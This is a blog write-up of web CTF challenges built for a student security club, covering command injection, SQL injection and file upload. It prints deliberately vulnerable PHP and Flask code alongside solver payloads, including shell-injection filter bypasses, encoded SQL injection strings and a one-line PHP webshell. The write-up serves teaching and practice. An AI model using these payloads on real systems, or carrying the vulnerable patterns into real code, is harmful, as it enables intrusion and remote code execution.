Co-Authoring the Securinets ENIT WebCTF

Post Cover

Back in December, I had the chance to co-author a full track of Web challenges for Securinets ENIT‘s members-only Web CTF, held on 13–14 December 2025. This was a joint effort with h1dr1, and together we put together fun challenges to crown the workshop series held before.
This is my contribution: three progressive sets of challenges covering the classics of web exploitation: file upload, SQL injection, and command injection.

Let’s go through each one.

overview

Command Injection: GutHib

GutHib is a “repo manager” that clones git repos on your behalf. Naturally, it does this by shelling out:

title:Vulnerable Code
1
system("git clone " . $cmd); 

GutHib 1

“Paste a GitHub repository link and we’ll clone it for you. What could possibly go wrong?”

Level 1 has zero filtering. A payload like:

title:Solver 1
1
; cat ../flag.txt 

gets appended straight to the shell command, the semicolon terminates “git clone” and whatever comes after just runs.

overview

GutHib 2

“It does exactly what you ask. Nothing more. Nothing less.”

Level 2 blacklists the word cat:

title:Added Protection
1
if (preg_match('/\bcat\b/i', $cmd)) { die("Command contains forbidden keyword!"); } 

Cute, but blacklists are made to be bypassed. tac, quote-breaking (c"a"t), or reconstructing the string from Base64 all work fine:

title:Solver 2
1
; `c"a"t` ../flag.txt 

GutHib 3

“Input goes in, output comes out. The details are easy to overlook.”

Level 3 goes further and strips all whitespace:

title:Added Protection
1
if (preg_match('/\s/', $cmd)) { die("Spaces are not allowed!"); } 

which is where ${IFS}, URL-encoded tabs, or brace expansion come in:

title:Solver 3
1
;cat${IFS}../flag.txt 

GutHib 4

“ This cloner trusts your input more than GitHub itself. Let’s see what else it can fetch.”

Level 4 is the mean one. It’s blind. Output is redirected to /dev/null, so there’s no visible feedback anymore:

title:Changed Code
1
system("git clone " . $cmd . " > /dev/null 2>&1"); 

The injection point never moved, only the exfiltration technique has to change. Writing the result to an accessible file works well here:

title:Solver 4
1
;cat ../flag.txt > output.txt 

then just requesting /output.txt directly. (DNS exfil and timing-based confirmation via sleep also work if you want to go full blind-injection mode.)


SQL Injection: Inhuman Resources

Inhuman Resources is a small Flask/SQLite HR portal. The bug is the one every web security course opens with:

title:Vulnerable Code
1
sql = "SELECT * FROM employees WHERE name = '" + name + "'" 

Inhuman Resources 1

“Eve , head of development, got in a heated fight with the HR manager and quit her job. She wasn’t however one to leave without a nice ‘gift’ left behind. Can you find it ?”

Level 1 is textbook:

title:Solver 1
1
' OR 1=1 -- 

OR 1=1 is always true, -- comments out the trailing quote, and the query returns every row in the table.

Inhuman Resources 2

“That was just the beginning. Eve was not here to play. Can you find the flag ?”

Level 2 tries to block the exact payload string:

title:Added Protection
1
2
3
 if raw_name == "' OR 1=1 --": return "Not so fast !", 400

name = unquote(raw_name)

The mistake is the order of operations: it validates before decoding. So URL-encoding the payload sails right through:

title:Solver 2
1
%27%20OR%201%3D1%20-- 

which decodes back into the exact same injection after the check has already passed.

Inhuman Resources 3

“If you think that’s the limit of Eve’s game, think again : she’s here to break the frame.”

Level 3 flips the encoding requirement around, now it insists the payload be Base64:

title:Added Logic
1
decoded = base64.b64decode(raw_name).decode() if decoded != "' OR 1=1 --": return "Blocked!", 400 

which is really just the same lesson from a different angle: encoding is never sanitization.

title:Solver 3
1
JyBPUiAxPTEgLS0= 

Base64-decodes to ' OR 1=1 --, which is still concatenated straight into the query.

File Upload: SuSGPT

SuSGPT lets you upload files to “chat” with them. The backend just… trusts you.

overview

SuSGPT 1

“Suspicious cousin of chatgpt teaches you to never trust AI? “

Level 1 has no validation whatsoever:

title:Vulnerable Code
1
$target = $upload_dir . $file_name; move_uploaded_file($_FILES["file"]["tmp_name"], $target); 

Upload a webshell, and it executes:

title:Solver 1
1
2
3

<?php system($_GET['cmd']); ?>

then hit /uploads/shell.php?cmd=id for instant RCE.

SuSGPT 2

“He never seems to listen to you but apparently you can.”

Level 2 blocks the .php extension and any filename containing the string php:

title:Added Protection
1
if ($ext === "php") { exit("PHP not allowed!"); } if (strpos($name, "php") !== false) { exit("Invalid filename!"); } 

but plenty of servers happily execute PHP through other extensions: .phtml, .php5, .phar, none of which match the filter:

title:Solver 2
1
shell.phtml 

SuSGPT 3

“Get ready to meet the whereami , the long distance cousin of whoami. “

Level 3 adds a MIME type check on top:

title:Added Protection
1
if (strpos($type, "image/") !== 0) { exit("Only images allowed (client MIME check)"); } 

The catch: $_FILES["file"]["type"] comes straight from the client’s Content-Type header. The attacker controls it entirely: just send image/png alongside a PHP payload and the check waves it through.
It includes another plot twist too, many flag.txt files await for you there, just so you can leverage some of the CLI skills you learned during the workshops. :)))

Final Thoughts

I enjoyed this one and the feedback was awesome! Many have solved most of my challenges and I’m honestly proud.
overview

Huge thanks to h1dr1 for the opportunity 🫶, I had a lot of fun building those as well as putting up the platform and the cloud VMs, it was definitely an upskilling opportunity.

If you want to try these yourself, the full source is up on GitHub.

See you in the next one!!

IconPlease share with your friends !
Thanks for reading !
This work is published by Beylessen Jendoubi at 2026-02-28 13:12:21
Link: Co-Authoring the Securinets ENIT WebCTF
This work is licensed under CC BY-NC-SA 4.0. Please indicate Beylessen's Blog when reprinting.
Logo